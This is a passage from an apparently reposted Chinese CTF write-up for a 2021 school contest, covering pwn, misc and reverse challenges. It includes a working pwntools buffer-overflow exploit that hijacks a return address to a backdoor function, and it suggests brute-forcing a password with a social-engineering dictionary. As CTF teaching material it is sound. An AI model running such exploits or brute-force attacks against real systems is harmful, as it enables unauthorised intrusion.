[MCTF] 2021校赛题解

Posted 2023-02-21 mid2dog

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了[MCTF] 2021校赛题解相关的知识，希望对你有一定的参考价值。

题解

前言

这次比赛有点感觉了,但在第三道pwn上卡了一个小时没出来…
hhh早知道去做逆向了,师兄送的分都没拿
20这届师弟还是nice的，就是起步晚了点，师弟们加油！
本题解主要提供思路，具体步骤可能不详细，见谅

web

web真好玩

你们的19web狗亲笔.

pwn

checkin

pwn里的签到题

gets函数不限制传入字符
所以可以把v4填满后继续溢出过rbp到返回地址

也就是覆盖r的位置，劫持到后门函数里
偏移量0x20+0x8

exp如下

from pwn import *
#context(os='linux', arch='i386', log_level='debug')
#dog = remote('47.100.53.148',10101)
dog = process("./checkin")
system = 0x004005b6
#binshaddr = 0x4005b6
#dog.recv()
#gdb.attach(dog)
a = 0x4005b6
payload = ('a' * (0x20+8)).encode() +p64(system) #+ 'aaaa'.encode() + p32(binshaddr)
#print(payload)
dog.sendline(payload)

dog.interactive()

通了

hack_note_sh

uaf漏洞
wiki上的原题，之前刚好刷到，质量不错

https://ctf-wiki.org/pwn/linux/glibc-heap/use_after_free/

hash_note_nosh

这题没有后门函数，我想用one_gadget一把梭来着，失败了。
后来发现攻防世界原题…
链接点我
所以这应该不算是pwn，应该算杂项。

misc

没有任何坑的简单题，看到大家都做出来了就不写了
至于社工题，这题我没看，看了眼后提供思路：
一种方法是猜密码
如果我来做应该会生成个社工字典

作为pwn狗用pwntools库爆破（当然web狗用requests库也可以）
总之形成交互就可以一把梭。

Reverse

srand

之前攻防世界上做pwn的时候遇到过srand
srand里面是固定的值的话每次生成的随机数也会是固定的
看了一眼直接把脚本写出来了…
这个是在windows下跑

然后搞半天找不到ubuntu16的环境
我的wsl也是18.04，淦
用libc2.23链接跑出来也不对…
总的来说，我是这个

burst is a good idea

纯百度题，当然也可以用python，基本大家都做出来了

what is this

用到了ida里的patch，校赛的时候还不会，之后是zhouyetao师兄教我的。

用patch改一下程序流程

好的，我虽然会patch了，但还是不知道这题怎么做

Diffcult

这次应该挑战下这三道diffcult题目的，感觉都能做…明年没机会了

re(enigma)

第一步查壳,拖进upx里脱壳

然后就可以拖ida里找程序入口

整理函数调用关系，并将变量重命名，分析如下

int cout_flag()

  int v2; 
  int i;
  int v4; // [rsp+20h] [rbp-20h]
  int v5; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+30h] [rbp-10h]
  v4 = 'mzdfmzgb';
  v5 = 'zdfmzgbc';
  v6 = 'gggmhzf';
  for ( i = 0; i <= 22 && (i + a1) == *(&v4 + i); ++i );
  if ( i == 23 )
    printf("Congratulations,you get the true flag!");
  else
    printf("I am sorry to tell you that you are wrong.");
  return result;

int en1(char a1,int a2)

  for ( i = 0; i <= 26; ++i )
    v6[i] = *(i + a1);
  v5 = en2(v6, a2);
  for ( j = 0; j <= 25; ++j )
    v6[j] = v5[j];
  result = v5;

int en2(char *a1,int a2)

  v3 = a1;
  for ( i = 0; i < a2; ++i )
  
    for ( j = 1; j <= 25; ++j )
      c[j - 1] = v3[j];
  
  return c;

int en3(char a1,int a2)

  v3 = 0;
  for ( i = 0; i <= 26; ++i )
    v6[i] = *(i + a2);
  for ( j = 0; j <= 25; ++j )
  
    if ( v6[j] == a1 )
    
      v3 = j + 1;
      break;
    
  

int encrypt(a1)

  a_z="abcdefghijklmnopqrstuvwxyz"
  a_z2="abcdefghijklmnopqrstuvwxyz"
  x = a1;
  for ( i = 0; i <= 22; ++i )
    a[i] = *(x + i);
  y = en1(a_z, 4);
  for ( j = 0; j <= 25; ++j )
    a_z[j] = *(y + j);
  y = en1(a_z2, 3);
  for ( k = 0; k <= 25; ++k )
    v1 = *(y + k);
    a_z2[k] = v1
  for ( l = 0; l <= 22; ++l )
  
    flag1[l] = a_z2[en3(a[l], a_z,v1)];
    y = en1(a_z, 1u);
    for ( m = 0; m <= 25; ++m )
      a_z[m] = *(y + m);
    y = en1(a_z2, 1u);
    for ( n = 0; n <= 25; ++n )
      a_z2[n] = *(y + n);
  
  return cout_flag(flag1);

int main()

	signed int i; // [rsp+Ch] [rbp-4h]
  input = your_input();
  for ( i = 0; i <= 22; ++i )
    input1[i] = *(input + i);
  return encrypt(input1);